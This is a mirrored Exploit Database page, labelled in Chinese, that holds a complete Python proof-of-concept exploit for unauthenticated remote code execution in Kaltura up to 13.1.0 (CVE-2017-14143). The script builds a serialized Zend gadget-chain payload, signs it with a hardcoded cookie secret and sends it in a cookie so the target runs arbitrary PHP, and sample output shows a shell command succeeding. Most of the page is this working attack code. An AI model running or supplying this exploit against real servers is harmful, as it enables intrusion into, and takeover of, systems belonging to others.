Kaltura < 13.2.0 - Remote Code Execution

• Exploit Database
• 16 阅读

• 作者： Robin Verton
  日期： 2017-10-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43028/

• #!/usr/bin/env python
  
  # Kaltura <= 13.1.0 RCE (CVE-2017-14143)
  # https://telekomsecurity.github.io/2017/09/kaltura-rce.html
  # 
  # $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
  # [~] host: https://example.com
  # [~] entry_id: 0_xxxxxxxx
  # [~] code: system('id')
  # [+] sending request..
  # uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)
  
  import urllib
  import urllib2
  import base64
  import md5
  import sys
  
  cookie_secret = 'y3tAno3therS$cr3T';
  
  def exploit(host, entry_id, php_code):
  print("[+] Sending request..")
  url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)
  
  cmd = "{}.die();".format(php_code)
  cmd_len = len(cmd)
  
  payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"
  
  exploit_code = payload % (len(cmd), cmd)
  encoded = base64.b64encode(exploit_code)
  md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()
  
  cookies={'userzone': "%s%s" % (encoded, md5_hash)}
  
  r = urllib2.Request(url)
  r.add_header('Cookie', urllib.urlencode(cookies))
  
  req = urllib2.urlopen(r)
  return req.read()
  
  if __name__ == '__main__':
  
  if len(sys.argv) < 4:
  print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
  print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
  sys.exit(0)
  
  host = sys.argv[1]
  entry_id = sys.argv[2]
  cmd = sys.argv[3]
  
  print("[~] host: %s" % host)
  print("[~] entry_id: %s" % entry_id)
  print("[~] php_code: %s" % cmd)
  
  result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])
  
  print(result)